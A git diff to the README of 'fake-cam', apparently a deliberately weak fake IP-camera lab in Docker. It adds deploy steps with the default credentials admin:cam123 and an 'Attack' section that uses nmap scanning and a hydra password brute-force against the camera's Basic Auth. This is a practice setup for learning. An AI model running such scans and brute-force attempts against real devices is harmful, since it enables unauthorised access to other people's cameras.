diff --git a/README.md b/README.md index 4c316c4..957a0b0 100644 --- a/README.md +++ b/README.md @@ -22,8 +22,43 @@ git clone https://git.phorge.fr/l-nmch/fake-cam.git docker compose build ``` -3. Run the container +## Deploy + +1. Run the container ```bash docker compose up -d ``` + +2. Verify cam access + +```bash +curl -u admin:cam123 http://:3301 +``` + +## Attack + +1. Install required tools + +```bash +apt install hydra curl nmap zip unzip -y +``` + +2. Download the [wordlist](./wordlist.txt) + +```bash +wget https://git.phorge.fr/l-nmch/fake-cam/raw/branch/master/wordlist.txt +unzip rockyou.txt.zip +``` + +3. Find open ports: + +```bash +nmap -sC -sV +``` + +4. Bruteforce Basic-Auth + +```bash +hydra -l admin -P wordlist.txt -s 3301 http-get / +``` \ No newline at end of file